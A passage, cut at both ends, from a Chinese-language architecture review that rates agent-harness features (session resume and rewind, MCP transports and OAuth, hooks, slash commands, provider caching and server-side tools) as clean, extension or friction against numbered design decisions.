校验。不推翻决策,只需实现『显式换代』这条已预案的路径。 + +### subagent-directory-prompt-injection — `clean` + +*core · both* · 依据:L3 Context assembly(system prompt 拼装顺序)/ L3 Agent spec description 字段 + +设计原文把它当作前提条件明确写进 context assembly 的拼装顺序:『tool/skill/子 agent 目录(模型不知道 summarizer 存在就永远不会 spawn 它——目录注入是 multi-agent 可用的前提)』。目录来自 spec 的 agents 白名单与各子 agent spec 的 description,拼装顺序固定以保 prefix 稳定。机制直接覆盖。 + +## Session 与 surfaces(19 项) + +### session list / resume / continue — `clean` + +*core · both* · 依据:L4 Session 管理 / L1 决策#5 / Roadmap M3 + +L4 Session 管理明确定义 session = correlation id + stream 闭包,list = 枚举 store,resume = snapshot + fold(L1 决策#5),且 M3 已排期 'session list/resume'。--continue 只是 'resume 最近一个 session' 的语法糖,靠 store 枚举 + 时间戳即可。挂起中的 session(WAITING_APPROVAL/WAITING_INPUT 是显式 event 状态)resume 后能原位继续等待,这正是设计的核心卖点。 + +### cross-version resume (weekly CLI upgrades) — `friction` + +*core · both* · 依据:决策#18 / 非目标第 2 条 / L1 决策#5、#7 + +障碍是决策#18 本身:'RunStarted 记版本,不匹配拒绝 resume',且非目标一节写明 'event schema 变更即丢弃旧 run 日志重跑,不做 migration'。失败场景:用户周更 CLI 后,所有历史 session(包括挂着审批等了三天的长任务)集体拒绝恢复——对真实产品这不可接受,Claude Code/Codex 都保证旧会话可 resume。后改需要推翻#18、给 event 建立版本化 + 读取路径 upcaster 纪律;好消息是架构对此友好——state 是 event log 的纯 fold、snapshot 是可弃缓存(决策#7),只需 upcast event 不需迁移 state,且 RunStarted 已记录版本号可作 upcast 起点。但原型期'随意改 schema'的自由一旦行使过,产品化后第一次兼容性承诺就要为所有历史变更补写迁移,成本随拖延递增。 + +### rewind granularity: code-only / conversation-only / both — `clean` + +*important · claude-code* · 依据:L1 决策#7 / L4 fork-rewind barrier / L3 context assembly 'ContextCompacted' + +决策#7 把两种快照严格分离:对话 state 是 fold 到某 seq 的派生物,workspace 是 barrier 处的 git commit。'两者' = 设计原文的 rewind(fork + workspace 恢复到对应 commit);'仅对话' = 只 fork 不动文件;'仅代码' = 只 checkout barrier commit 不动 stream——三种粒度就是两个正交 primitive 的组合选择,无需新契约。且 L3 明确 compaction 是 recorded event、'跨 compaction 边界的 fork/rewind 语义因此是良定义的',barrier(turn 边界)也与 Claude Code /rewind 按用户消息打点的 UX 对齐。 + +### session teleport (local <-> cloud) & remote container sessions — `extension` + +*important · both* · 依据:决策#3、#17、#15c / L1 Checkpoint 与 workspace + +决策#3 '持久状态只有 event log 和 workspace 两处' 使迁移面被精确枚举:搬 JSONL stream 闭包 + git workspace 即可在另一台机器 resume。MCP server 是带外运行时状态、resume 后重新拉起(决策#17),凭据只走环境变量不入 log(决策#15c),都为跨机迁移扫清了障碍;bash 逃逸 workspace 的副作用明确不在承诺内,与真实产品口径一致。需要新增的是打包/传输/远端 resume 编排组件,纯 L4 增量。唯一牵连是决策#18 要求本地与云端代码版本一致,这个成本记在 cross-version resume 条目下。 + +### multiple concurrent sessions on one workspace — `friction` + +*important · both* · 依据:决策#7 / L1 'workspace 内 per-turn git commit' / L3 Tools 与 workspace + +障碍是决策#7 的实现载体:workspace 快照'实现为 workspace 内 per-turn git commit',隐含单写者假设。失败场景:同一目录开两个 session(Claude Code 用户的日常操作),A、B 的 per-turn commit 在同一条 git 历史上交错,A rewind 到自己的 barrier commit 会连带回滚 B 之后的所有修改,B 的 barrier 也不再是自己 run 的一致切面;同时 harness commit 污染用户自己的分支历史、与用户手工 git 操作互相踩踏。L3 提到的 'worktree 级隔离'只服务子 agent 并行,不解决用户明确想要两个 session 共享同一工作目录的场景。修法(每 session 独立 shadow git dir / 快照栈,Claude Code 即如此)语义上仍是'workspace 快照是一等状态',但需局部改写决策#7 的机制并重新定义并发下的 rewind 承诺。 + +### headless -p mode, json/stream-json output, --resume — `clean` + +*core · both* · 依据:决策#14 / L4 运行形态、交互协议 / Roadmap M1、M3 + +决策#14 'core 是库,CLI/headless/server 是薄壳',M1 即含最小 CLI、L4 运行形态明确列出 headless 单发。json/stream-json 只是 frontend actor 对输出事件流(turn 事件、EffectResolved、assistant message)的另一种序列化渲染;token delta 走 bus 对进程内 frontend 直接可见,支持 partial streaming。--resume 续跑复用 M3 的 session resume 机制,headless 与交互式共享同一 core 路径,无特权 frontend(原则 5)。 + +### Agent SDK: in-process query, canUseTool callback approval, in-process custom tools, hook callbacks — `extension` + +*core · both* · 依据:原则 4、5 / 决策#13、#17 / L2 关卡[2] ask 语义 / 决策#11 + +core-是-库(原则 5)使进程内 query 天然成立;spec 是 pydantic model,程序化构造绕过 YAML 无碍。canUseTool 式审批映射干净:L2 的 ask ⇒ ApprovalRequested event ⇒ 应答以 event 到达——SDK 回调就是一个立即应答的 frontend actor,应答照常 journal(决策#4),审计不破。进程内函数 tool 需要澄清'tool 定义是数据'(决策#13)的边界:定义(schema/类别标签)是数据,executor 本就是代码——内置 tool 已是'数据文件 + 包内实现'的配对,SDK 只需一个 name→callable 的 executor 注册表;resume 时宿主程序须先重注册 callable,决策#17 的 MCP '带外运行时状态'已提供同类先例。审批时改写输入(updatedInput)与 hook mutation 同属决策#11 推迟的改写域,schema 层面可在应答 event 里携带修改后输入并记入 EffectResolved,不破契约。 + +### server mode (HTTP/WS) — `clean` + +*important · both* · 依据:L4 运行形态 / 决策#2、#14 / Roadmap M5 + +L4 运行形态明确 'server(HTTP/WS 暴露同一协议)' 是薄壳,M5 已排期 'server 壳'。交互协议本身以 event 流定义(turn 事件、ApprovalRequested、TurnDiscarded),frontend 是订阅输出 topic 的普通 actor,WS 桥接只是协议搬运。决策#2 也预留了'分布式化是换 transport'的边界。 + +### multi-client concurrent attach (phone + desktop on same session) — `extension` + +*important · both* · 依据:原则 5 / L0 bus publish / 决策#4 / L4 交互协议 + +原则 5 '不存在特权 frontend' + L0 bus 的 publish 扇出使 N 个 frontend actor 同看同控天然成立;两端输入都按决策#4 journal 后串行进 stream,不会打架。需要新增的是中途 attach 的 catch-up 协议:从 event log 回放历史(log 即 source of truth,直接支持)再切到 live 订阅,以及'同一 ApprovalRequested 先答者生效'的应用层去重(Envelope.id 幂等只防同一 command 重试,不防两个客户端各发一条应答)。都是顺着现有抽象的 L4 代码,不动契约。 + +### IDE integration (diff view, editor selection as context, @-references) — `extension` + +*important · both* · 依据:L4 交互协议'协议预留' / 决策#7 / L3 context assembly prefix 不变量 + +IDE 插件就是又一个 frontend actor。diff 视图直接受益于决策#7 的 per-turn git commit(原文'便宜、可 diff');editor selection / @ 文件引用是带结构 payload 的输入 event,L4 交互协议已'预留附件/图片消息类型',说明消息类型系统本就打算扩展;注入到上下文由 L3 context assembly 承接,注意不打破 prefix 稳定不变量即可(selection 属于消息层不属于 system prompt 层,天然安全)。全部是协议与组件增量。 + +### GitHub Actions / @claude mention triggering new runs — `clean` + +*important · both* · 依据:L4 Scheduler 与 triggers / L0 Envelope 幂等 / Roadmap M5 + +L4 Scheduler 与 triggers 已直接设计此路径:'webhook 触发 = server 壳收到请求后发同一条 RunAgent command',且 command 按 Envelope.id 幂等(L0),webhook 平台的重试不会拉起重复 run——设计原文点名了这个坑。CI 内运行复用 headless 模式。M5 已排期 scheduler。 + +### webhook / follow-up events flowing into an existing (dormant) session — `extension` + +*important · claude-code* · 依据:决策#4、#5 / L1 'InputReceived append 进该 run 的 stream' / L4 Session 管理 + +设计只写了 webhook 拉起新 run,流入已有 session 需要'唤醒休眠 session'编排:向休眠 run 的 stream append 一条 InputReceived event,再触发 resume(snapshot + fold seq>N 会把它折进状态,loop 在 turn 边界消费)。这恰好被决策#4'一切输入先 journal 再消费'和决策#5 的 resume 语义共同支撑——event store 本身就是休眠 session 的 durable mailbox。需要新增的是 session registry + lazy-resume 组件,纯 L4 增量,不动契约。 + +### scheduled/cron triggers, self wake-up (ScheduleWakeup), durable timer firing while process is down — `extension` + +*important · both* · 依据:L1 'timeout 是 durable timer' / L4 Scheduler 与 triggers / 决策#2 / 原则 2 + +cron 到新 session 已被 scheduler actor + RunAgent command 覆盖;到已有 session 复用上条的休眠唤醒机制。关键问题'进程不在时 durable timer 由谁触发'设计未正面回答——L1 的 durable timer 是'记录在案的定时器'(event),但单进程模型(决策#2)下进程死了没人看表。补法不破契约:server 壳本就是常驻进程,加一个扫描各 stream 待决 timer 的 daemon(timer 索引是允许的派生物,原则 2),到期即走唤醒路径;纯 CLI 无常驻进程的用户则退化为 resume 时补触发过期 timer,这与 L1'恢复时 fold'语义一致。ScheduleWakeup 工具 = 写入一条 timer event,同一机制。 + +### notifications (desktop/push) and statusline — `extension` + +*important · both* · 依据:原则 5 / L4 交互协议输出事件流 / L2 关卡[3]、mode 跃迁 event + +通知就是一个订阅 ApprovalRequested / WAITING_INPUT / run 结束等 event 的 frontend actor,接桌面或推送通道——原则 5 下 frontend 无特权、可任意加。statusline 需要的会话摘要(当前 model、mode、token/cost)全部可从 event stream fold 出来(L2 budget 从 event stream 统计、mode 跃迁本身是 event)。都是纯新增订阅者组件。 + +### /cost and token/cache accounting — `clean` + +*important · both* · 依据:L2 关卡[3] / L3 Provider 返回归一化 / L4 Observability + +L2 budget 关卡明确'turns/tokens/cost 从 event stream 统计',L3 provider 返回归一化 token 计数(含 cache_read/cache_write)且'budget 关卡按真实计费口径记账',L4 observability 已列出'token/cost(含 cache 命中)消耗'的时间线渲染。/cost 只是对同一 fold 的 CLI 展示。 + +### OTel metrics/traces export — `extension` + +*nice-to-have · claude-code* · 依据:L4 Observability / L0 Envelope causation-correlation / 决策#8 + +L4 observability 的立场是'event log 就是 trace',且 causation/correlation 链路 per-stream 完整(L3 multi-agent 可审计性保证),到 OTel span 树的映射是机械的:correlation id → trace,causation → parent span,EffectResolved/Activity 事件 → span 属性。需要写一个订阅 bus 或尾随 event log 的 exporter actor,纯增量。 + +### transcript export and audit/compliance — `clean` + +*important · both* · 依据:决策#4、#8、#12、#15c / L4 Observability / Roadmap M5 + +决策#4 保证一切输入先 journal('历史完整可审计'是 L1 原文),决策#8 的单条 EffectResolved 记录每个副作用'为什么放行/拦下'的全部关卡判定,决策#12 JSONL '可读可 diff',决策#15c 保证密钥不落 event log。导出 transcript 就是渲染 event log,inspect 时间线(M5)已是同一件事的 CLI 形态。 + +### parallel attempts / best-of-N (Codex cloud style) — `extension` + +*nice-to-have · codex* · 依据:L0 Actor / L3 'worktree 级隔离' / L4 fork barrier + +并发来自'很多个 actor'(L0),单进程内同时跑 N 个 run 天然成立;每个 attempt 用 L3 已有的 worktree 级隔离拿到独立文件视图,或从任务起点 barrier fork N 份(L4 fork 复制 stream 闭包一致切面)。需要新增的是编排/择优的上层组件与结果对比 UI,不动 L0-L2 契约。 + +### slash commands / custom commands over the protocol — `extension` + +*important · both* · 依据:L4 交互协议'协议预留' / L3 ContextCompacted / L2 mode 跃迁 event + +L4 交互协议已明确'协议预留(原型不实现):slash command 调用',按判定口径属 extension。slash command 本质是 frontend 侧把命令展开成输入 event 或控制指令(如触发 compaction、切 mode——两者都已是 event 化操作:ContextCompacted、mode 跃迁 event),custom command 文件展开成 prompt 注入也只在消息层,不碰 prefix 稳定不变量。 + +## MCP / skills / plugins / commands 生态(23 项) + +### mcp-stdio-transport — `clean` + +*core · both* · 依据:L3 MCP / 决策#17 / Roadmap M4 + +L3 MCP 节直接给出 spec 内 `transport: stdio` + `command` 的一等支持,决策#17 把 server 生命周期定为带外运行时状态、resume/重启后重新拉起,M4 已排期。tool 调用作为 activity 走 L2 管线,spec 的 `allowed_tools` 收窄与 permission rules(数据)天然衔接,无需任何新抽象。 + +### mcp-streamable-http-sse — `extension` + +*important · both* · 依据:L3 MCP『spec schema 里保留 transport: http + auth 字段,实现推迟』/ 决策#17 + +spec schema 已保留 `transport: http` + auth 字段、实现推迟,按口径算 extension。带外生命周期契约(决策#17)对 transport 类型不敏感,换 transport 不触碰 event 模型。要注意 streamable HTTP 的 Mcp-Session-Id 带会话状态,而设计已文档化 'per-call stateless' 契约——重连/resume 后 server 端会话状态丢失是明示边界而非隐藏坑。 + +### mcp-oauth-token-storage — `friction` + +*important · both* · 依据:决策#15c / L3 MCP『实现(OAuth 流程、凭据存储)推迟』 + +决策#15c 写死『凭据只从环境变量读,绝不进 spec/event/仓库』,而 OAuth token 是运行时动态获取、必须持久化 refresh token 的凭据,环境变量这一唯一渠道表达不了。需要局部修改 15c 引入第三个受管持久位置(本地 token store,在 event log 与 workspace 之外),并给带外的 server 启动流程加交互式授权路径。失败场景:接入需 OAuth 的 GitHub streamable HTTP server,浏览器授权拿到 refresh token 后无处合法落盘,进程每次重启都得重新走授权,或逼用户手工把短命 token 塞进环境变量、过期即断。L3 虽预留了 auth 字段,但预留的只是配置面,凭据存储这一结构性问题没被覆盖。 + +### mcp-server-health-reconnect — `clean` + +*important · both* · 依据:决策#17 / 决策#6 / 决策#9 + +决策#17 明确 server 生命周期是带外运行时状态、resume/重启后重新拉起;中途 crash 时调用失败落到 activity 的通用 retry(决策#6『retry 是 activity 的通用属性』),重试耗尽则按决策#9 渲染 error tool_result 让 loop 继续。带外管理器重拉后 schema 若变化则记录新 schema event。server 状态不污染 event 模型正是该决策的设计意图。 + +### mcp-tools-list-changed — `clean` + +*important · claude-code* · 依据:L3 MCP『tools/list_changed 同理』/ L3 context assembly prefix 不变量 + +L3 MCP 原文点名『tools/list_changed 同理』——变更后的 schema 作为影响 run 结果的输入记录为 event、进 fold;context assembly 的 prefix 不变量对此有显式出口:『任何会打爆 prefix 的操作要么禁止要么显式换代』。两个机制组合即得到良定义的中途工具集变更语义,resume/fork 时 fold 到对应 seq 就能重建当时的工具面。 + +### mcp-resources-at-mention — `extension` + +*important · claude-code* · 依据:L2 effect pipeline / 决策#4 / 决策#17 / L4『协议预留:附件/图片消息类型』 + +resources/read 是一次 server 往返副作用,顺着 L2 管线做成新的 activity 类型即可;读到的内容作为外部输入按决策#4 journal 后进消息,L4 协议也已预留附件/图片消息类型,@ 引用展开可挂在同一输入处理路径。决策#17 措辞是『只有 tool 调用是 activity』,把 resource 读纳入 activity 集合是自然放宽而非推翻——activity 在 L1 本就是开放集合,该决策的理由(server 状态不可 event 化)并不排斥它。 + +### mcp-prompts-as-slash-commands — `extension` + +*nice-to-have · claude-code* · 依据:L4『协议预留:slash command 调用』/ 决策#17 + +L4 明确预留 slash command 调用协议;MCP prompt 的发现与 tool schema 同构(记录为 event,决策#17),prompts/get 的往返做成 activity,返回消息 journal 后进对话。全程不碰 L0-L2 契约。 + +### mcp-sampling-elicitation — `friction` + +*nice-to-have · claude-code* · 依据:L1『挂起是显式状态…turn/tool-call 边界』/ 决策#17 per-call stateless 契约 / L2 stage[4] + +两条契约夹住了它:L1 规定『挂起是显式状态……全都发生在 turn/tool-call 边界』,而 sampling/elicitation 是 server 在管线 stage[4] 执行中途反向发起的请求,等待发生在 activity 内部、不在任何边界上;决策#17 又规定 server 会话是带外状态且 per-call stateless,崩溃后该会话与半途的反向交互不可重建。失败场景:server 在一次长 tool call 中 elicit 用户输入,进程死掉后 MCP session 重建、外层 call 变 in-doubt,用户应答无处投递,只能人工确认后整体重跑再被 elicit 一次——『等几天成本相同』的 durable park 承诺对这类等待不成立。要支持就得给 L1 新增『activity 内非持久等待』类别并给 in-doubt 语义开特例,属于局部修改层间契约;嵌套的 sampling LLM 调用还必须回流管线过 budget 关卡,虽有 spawn 先例,但 durable 性同样拿不到。 + +### deferred-tool-loading-toolsearch — `extension` + +*important · claude-code* · 依据:决策#17 / 决策#10 / 决策#15b / L3 context assembly prefix 不变量 + +三个既有机制拼起来正好覆盖:决策#17 把发现的 schema 记录为 event(工具面因此是 fold 的派生物,resume/fork 自动正确重建当时的动态工具面);决策#10 已把『工具面过滤』定义为数据;prefix 不变量提供『显式换代』出口——ToolSearch 载入新工具 = 一条工具面变更 event + 一次 prefix 换代,完全顺着现有抽象。隐藏成本需点名但非结构性:主 provider Gemini 没有 Anthropic 那种 API 级 deferred tools(后者可经决策#15b 的 capability 映射接入),客户端换代意味着每次载入重写整段对话缓存,频繁 ToolSearch 会侵蚀『caching 约 10x 经济性』前提;几千个 tool 的 schema 全量进 JSONL event log(决策#12)也需按内容去重防膨胀。 + +### skills-progressive-disclosure — `clean` + +*core · claude-code* · 依据:决策#16 / L3 context assembly『tool/skill/子 agent 目录』/ Roadmap M4 + +决策#16 直接沿用 Claude Code skill 约定(目录 + markdown + frontmatter),spec 已有 `skills:` 字段;context assembly 固定拼装顺序里『tool/skill/子 agent 目录』常驻 system prompt,正是 progressive disclosure 的列表半边;body 触发时注入走消息流不碰 prefix,与 caching 不变量无冲突。M4 已排期。 + +### skill-scripts-and-allowed-tools — `extension` + +*important · claude-code* · 依据:决策#10 / L3 multi-agent 权限继承 / 决策#16 + +skill 目录携带的脚本靠 bash/read tool 执行,天然走 L2 管线全关卡。frontmatter 的 allowed-tools 是 skill 激活期间的临时权限收窄,设计里有两个现成先例:决策#10 的『mode = 工具面过滤(数据)』和 multi-agent 的『child 有效权限 = child ∩ parent』交集语义。需要新写的只是 skill 作用域的 policy 激活/失效生命周期(一对 event),不动任何契约。 + +### plugins-marketplace-bundle — `extension` + +*important · claude-code* · 依据:L3『配置分层从简…三层与更细的合并语义等真实冲突出现再加』/ 决策#13 / 原则 4 + +插件本质是『一包数据』——commands/agents/skills/hooks/MCP 在此设计里全部已是声明式数据(原则 4、决策#13),打包与安装是 run 之外的文件物料化,不进运行时契约。要补的是配置合并的 plugin 层,设计原文明确『三层与更细的合并语义等真实冲突出现再加』且已给出拼接顺序先例(local > project > spec),按口径这种显式推迟算 extension。风险点仅在合并语义细节,无结构障碍。 + +### slash-commands-markdown — `extension` + +*core · both* · 依据:L4『协议预留:slash command 调用』/ 决策#4 / L3 Provider + +L4 明确『协议预留(原型不实现):slash command 调用』。命令展开(markdown 模板 + $ARGUMENTS → 用户消息)落在决策#4 的输入 journal 路径上,resume/fork 可重建;frontmatter 的 allowed-tools 复用 policy-as-data,model 覆盖走 provider 薄接口的 per-request 参数(缓存按模型隔离,切换即一次 miss,可接受)。全是顺着现有抽象的新代码。 + +### command-bash-preexec-and-file-refs — `extension` + +*important · claude-code* · 依据:L2『所有副作用流经唯一管线』/ 决策#4 + +感叹号前缀的预执行 bash 是发生在 turn 之外的副作用,而 L2 管线声明自己是『所有副作用的唯一通道』且对 effect 来源不敏感(tool、MCP、LLM、bash……皆可),把命令展开期的 bash 作为 run stream 里先行的 activity 走管线即可,hooks/permission/budget 自动生效。@file 引用展开同理,展开结果按决策#4 journal 成 event。 + +### output-styles-switch — `extension` + +*nice-to-have · claude-code* · 依据:L3 context assembly 拼装顺序 + prefix 不变量 + +切换 output style 改写的是拼装顺序里最靠前的『harness 基础指令』层,必然打爆整个 prefix;设计对此有显式预案『要么禁止要么显式换代』,实现时选换代——StyleChanged 记为 event,fold 后 context assembly 产出新一代 prefix。因为 context assembly 是 fold(event log) → request,切换点之后的 fork/rewind 语义自动良定义(『fold 到哪个 seq 就得到哪个视图』)。成本是一次全量 cache 重写,这是功能固有代价而非设计强加。 + +### memory-shortcut-hash-command — `extension` + +*important · claude-code* · 依据:L3 context assembly memory 文件层 / 决策#4 / L2 管线 + +# 一键写入 = 一次 workspace 文件写(走 L2 管线)+ memory 层内容变更触发显式换代。有一个设计未写明但被原则覆盖的细节:CLAUDE.md 位于 prefix 的 memory 层,context assembly 若每 turn 直接读文件系统会破坏 fold 纯度,按决策#4『一切影响 run 结果的输入先 journal』应记录内容或 hash 再消费。属于实现时要点名的细节,不是契约修改。 + +### memory-files-claudemd-agentsmd — `clean` + +*core · both* · 依据:L3 context assembly『memory 文件层』/ spec `context.memory_files` / Roadmap M4 + +spec 已有 `memory_files: true`,context assembly 固定顺序中有『memory 文件层(CLAUDE.md 按目录层级合并)』,M4 排期。Codex 的 AGENTS.md 只是文件名与合并根不同,同一机制直接覆盖。 + +### codex-profiles-custom-prompts — `clean` + +*important · codex* · 依据:L3 agent spec『spec 是模板,agent instance = spec + 运行时输入』/ L3『配置分层从简』 + +Codex 的 config.toml profile 是『模型 + provider + 审批策略』的命名捆绑,而设计的 spec 本身就是这个捆绑(model/permissions/limits 同处一个 YAML),『agent instance = spec + 运行时输入』加两层 settings 覆盖即等价表达,profile 切换 = 换 spec/覆盖层。custom prompts 目录与 slash command 机制同构(见 slash-commands 条目)。 + +### hook-lifecycle-event-matrix — `extension` + +*important · claude-code* · 依据:决策#11 / L2 管线 [1][5] / L3『Compaction 是 recorded activity』 + +设计的 hooks 只存在于 L2 管线的 [1]/[5] 两个 effect 级挂点,而 Claude Code 的 hook 矩阵有一半不是 effect 作用域(SessionStart/SessionEnd/Stop/SubagentStop/UserPromptSubmit/Notification)。其中 PreCompact 已被天然覆盖——『Compaction 是 recorded activity』意味着它走管线自带 pre/post hook;其余生命周期挂点需在 L3 loop 与 L4 session 代码里新增,但决策#11『hooks 是管线机件不是 effect』的定性不被触碰,observe+block 语义可原样搬用,判定结果照旧进对应 event。是新增挂点而非修改契约。 + +### hook-input-mutation — `extension` + +*important · claude-code* · 依据:决策#11 / 决策#8 / L2『恢复时读记录值,不重跑 hook 脚本』 + +决策#11 明确把 mutation『连同它带来的顺序与缓存问题一起推迟』,按口径默认 extension;检查后确认推迟处未藏结构性问题:管线 stage[1] 本就位于 permission 之前,改写后的输入记进那条唯一的 `EffectResolved`(决策#8『关卡判定在记录边界之内』),恢复路径读记录值、绝不重跑 hook 脚本的原则对 mutation 同样成立。UserPromptSubmit 注入 additionalContext 走消息流,不碰 prefix 不变量。 + +### custom-subagents-as-data — `clean` + +*important · claude-code* · 依据:决策#13 / L3 agent spec `agents:` / L3 context assembly 目录注入 + +设计把 agent 定义为一等声明式 spec(决策#13),spec 的 `agents:` 白名单控制可 spawn 集合,context assembly 注入子 agent 目录(原文:『模型不知道 summarizer 存在就永远不会 spawn 它——目录注入是 multi-agent 可用的前提』)。.claude/agents 的 markdown+frontmatter 只是另一种序列化格式,加个 loader 即可映射到既有 spec 模型。 + +### mcp-dynamic-server-add-remove — `extension` + +*nice-to-have · claude-code* · 依据:决策#17 / L3 context assembly prefix 不变量 + +会话中途 add/remove server(/mcp reconnect、claude mcp add)= 带外生命周期操作(决策#17)+ 一条配置变更/schema 发现 event + prefix 显式换代,三个既有机制的组合。配置中途变更被 prefix 不变量点名『要么禁止要么显式换代』,实现时对这条路径选换代即可,不动任何决策。 + +### mcp-tool-permission-rules — `clean` + +*important · both* · 依据:L3 agent spec `mcp.allowed_tools` + `permissions.rules` / L2 permission 关卡 / 决策#9 + +spec 的 mcp 条目自带 `allowed_tools` 收窄,permission rules 是数据(spec `permissions.rules`,policy 是数据),对 MCP tool 做 pattern 规则与内置 tool 无区别;MCP tool 调用作为 activity 过同一条 L2 管线,ask/deny 的模型面渲染由决策#9 统一定义(error tool_result,loop 继续)。 + +## Provider 能力映射(22 项) + +### anthropic-cache-control-mapping — `clean` + +*core · claude-code* · 依据:L3 context assembly "Prefix 稳定性" / 决策15、15b / Roadmap M3 + +L3 context assembly 把 prefix 稳定性定为"显式不变量"(原文承认没有 caching "agent loop 在经济上不可用"),并明确分工:"缓存怎么落地(Anthropic 的显式 cache_control 断点 vs. Gemini 的 context cache 句柄)由各 provider 实现",event 记录归一化 cache_read/cache_write,budget "按真实计费口径记账"。4 断点上限、5m/1h TTL、最小可缓存长度都是 Anthropic adapter 内部的断点放置策略,正好落在这个分工里;"system prompt 与 tool schema 排序稳定"直接覆盖 tools 块参与 prefix、顺序变化即失效的要求。M1 尾注排期 Anthropic 在 M3 caching 阶段作第二实现验证。 + +### dynamic-tool-surface-cache-invalidation — `clean` + +*important · both* · 依据:L3 context assembly "Prefix 稳定性" / 决策10 / L3 MCP tools/list_changed + +决策10 把 mode 定义为"工具面过滤",plan→default 跃迁和 MCP tools/list_changed 都会改 tool 列表,按 Anthropic 语义打爆 tools 块之后的全部 cache。设计对此有显式政策:"任何会打爆 prefix 的操作要么禁止要么显式换代",且跃迁本身是 event,provider 可在换代点重置断点,代价有界(每次跃迁一次 prefix 重写)。若想学 Claude Code 保持 tool 列表稳定、改在 permission 层收紧以保 cache,也能在决策10 的"过滤"语义下选 permission-face 实现,不动契约。 + +### thinking-signature-opaque-roundtrip — `extension` + +*core · both* · 依据:L3 Provider "返回归一化" / 决策15b / Roadmap M1 尾注 + +Provider 节写"thinking 块统一成一套内部表示",但通篇未提 Anthropic signature、Gemini thoughtSignature、OpenAI encrypted reasoning item 这类必须逐字节原样回传的不透明字段——按字面实现,fold(event log)→请求重发时会丢 signature,多轮 thinking+tool use 直接被 API 以 400 拒绝。修法是给归一化 block 加 provider 打标的 opaque 透传字段并落进 event(L2/L3 不解读,不违反"不感知具体 provider"),纯增量、不动任何决策;M1 尾注让 Anthropic 作第二实现"验证能力抽象不漏"正是为抓这类漏预留的排期位,故按口径算 extension 而非 friction,但这是抽象最明确的一处漏,应在实现前把"opaque 无损往返"写成显式不变量。 + +### interleaved-thinking-beta — `extension` + +*important · claude-code* · 依据:L3 Provider / 决策15b / agent spec model 块 + +需要三件增量:beta header 这类 provider 专有请求开关(15b 通用 capability 之外,spec 的 model 块加 provider 专属 passthrough 字段);一条 assistant 消息内 thinking 与 tool_use 交错的有序 block 列表(归一化消息按 block 序列建模即可);以及依赖 thinking-signature-opaque-roundtrip 条的签名透传。全部顺着现有抽象走,不碰 L0-L2。 + +### fine-grained-tool-streaming — `clean` + +*nice-to-have · claude-code* · 依据:L3 Agent loop "Streaming 的持久化边界" / 原则2 + +设计的流式边界"token delta 只走 bus(显式 ephemeral),持久化的是组装完成的 assistant message"与 fine-grained tool streaming 完全同构:tool input 的 partial_json delta 走 bus 供前端提前渲染,组装完成的 tool_use 落 event 进 L2 管线。管线按完整 tool call 判定,所以只能"早渲染"不能"早执行",这与关卡语义一致,不构成损失。 + +### structured-outputs-response-format — `extension` + +*important · both* · 依据:决策15b / L3 Multi-agent result contract + +请求侧"以 provider 无关的方式携带 caching、thinking、tools、max_tokens 等意图"是开放集合,加一个 output_schema/response_format capability 由各家映射(Anthropic structured outputs、OpenAI json_schema、Gemini responseSchema)即可,schema 子集差异走 capabilities() 声明+显式降级。与 multi-agent 的 result contract("contract 在子 agent spec 的输出约定里声明")天然互补,可把口头契约升级为 schema 校验。 + +### tool-choice-parallel-control — `extension` + +*important · both* · 依据:决策15b / L3 Agent loop "并行 tool call 是常态" + +tool_choice(auto/any/none/指定名)与 disable_parallel_tool_use 是教科书式的 15b 通用 capability:Anthropic tool_choice、OpenAI tool_choice/parallel_tool_calls、Gemini function calling mode(AUTO/ANY/NONE + allowed_function_names)互相可映射。loop 已把"并行 tool call 是常态"设计好(allow 并发、ask 串行等审批),请求侧开关只是归一化请求上的数据字段,不碰 loop 契约。 + +### long-context-1m-pricing-tier — `extension` + +*important · claude-code* · 依据:L3 context assembly cache token 记账句 / spec context.compaction / 决策15b + +1M beta 是 provider 专属开关(同 beta header passthrough 通道);分档计价(≤200k 与 >200k 单价不同)意味着记账不能只存 token 数,但设计已说 budget"按真实计费口径记账",让 provider 在 activity 完成时算好成本或把适用价档记进 event 即为纯数据扩展。compaction trigger_ratio 需要 per-model 窗口大小元数据,beta 开关改变窗口值,同属 provider 元数据表的事。 + +### server-side-tools — `friction` + +*important · both* · 依据:原则3 / 决策8 / L2 effect pipeline + +障碍是原则3+决策8:"一切副作用是 activity,流经同一条 effect pipeline,四关卡"。web_search/code_execution 由 API 在一次 LLM activity 内部执行,副作用发生在 provider 侧,pre-hook 和 per-call permission 没有任何可插入时机。失败场景:用户写 {tool: web_search, action: ask},模型流出 server_tool_use 时搜索已在服务端执行完毕,管线只能在组装请求时对整个 capability 整体放行/拒绝,无法逐次审批,pre_tool_use hook 对每次搜索永不触发;code_execution 的容器复用(container id)还是不可从 event fold 的 provider 侧状态,rewind/fork 无法恢复。需要给 L2 契约开一个文档化的"provider 执行类工具"例外类别(请求期整体审批+响应期 post-hoc 观测),外加按次计费记账与 pause_turn stop reason 的 loop 处理——属局部修改层间契约。 + +### mcp-connector-api-side — `friction` + +*nice-to-have · both* · 依据:决策17 / L3 MCP / 决策8 + +与 server-side-tools 同源且更深:MCP connector 由 API 侧直连 MCP server,同时绕过决策17 的两条契约——"发现的 tool schema 记录为 event"(发现发生在 provider 侧)和"只有 McpToolCalled/Returned 是 activity"(调用不经本地 client,这些 activity 根本不产生)。失败场景:spec 的 mcp.allowed_tools 与 permission rules 对 API 侧直连失去强制力,只能翻译成请求里的 tool_configuration 求 provider 自律,审计时间线也缺失逐次调用的 EffectResolved。要支持须作为"provider 执行类工具"例外并接受 permission 语义降级为请求期整体判定。 + +### vision-pdf-input — `extension` + +*important · both* · 依据:L4 交互协议"协议预留" / 决策12 + +L4 交互协议已显式预留"附件/图片消息类型",按判定口径算 extension。增量在:归一化消息 block 支持 image/document 类型并由各 provider 映射(Anthropic image/document source、Gemini inlineData、OpenAI input_image/input_file);event log 存二进制的策略——JSONL 内嵌 base64 会膨胀,但决策12 把存储藏在 EventStore 接口后,换 SQLite 或旁路文件引用即可,不动契约。 + +### citations — `extension` + +*nice-to-have · claude-code* · 依据:L3 Provider "返回归一化" / 决策15b + +citations 是响应侧新 block 形态(带 citation 标注的 text block)加请求侧 document block 的 citations 开关,落在"返回归一化"框架里加字段即可;后续 turn 的 fold→请求需原样回传带 citation 的块,复用 opaque 透传机制。与 server-side web_search 的引用结果联动时才触及 server-side-tools 条的例外类别。 + +### count-tokens-endpoint — `extension` + +*nice-to-have · both* · 依据:决策15、15b / spec context.compaction + +决策15 把 provider 接口定为"薄接口(complete(request) → stream)"单方法,count_tokens 是第二个操作,但作为 capabilities() 声明的可选方法加上是纯增量(Anthropic 